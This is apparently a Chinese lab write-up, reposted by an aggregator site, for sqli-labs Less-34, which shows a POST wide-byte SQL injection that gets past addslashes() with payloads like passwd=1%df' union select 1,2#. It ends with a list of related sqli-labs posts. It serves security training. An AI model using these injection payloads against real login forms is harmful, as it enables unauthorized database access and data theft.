还是宽字节注入，POST版本的
uname=1&passwd=1%df‘ union select 1,2,3#
提交报错
列名不匹配，改一下就好了
uname=1&passwd=1%df‘ union select 1,2#
看一下源码，果然只select了两个字段
sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)
Posted superkrissv
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)相关的知识，希望对你有一定的参考价值。
以上是关于sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)的主要内容，如果未能解决你的问题，请参考以下文章
Sqli-labs Less-52 order by后的堆叠注入
Sqli-labs Less-51 order by后的堆叠注入
SQLi-LABS Page-3 (order by injections) Less-46-Less-53
sqli-labs less11-12(post型union注入)
sqli-labs less46 GET -Error based -Numeric -Order By Clause(GET型基于错误的数字型Order By从句注入)
sqli-labs less13 POST - Double Injection - Single quotes- String -twist (POST型单引号变形双注入)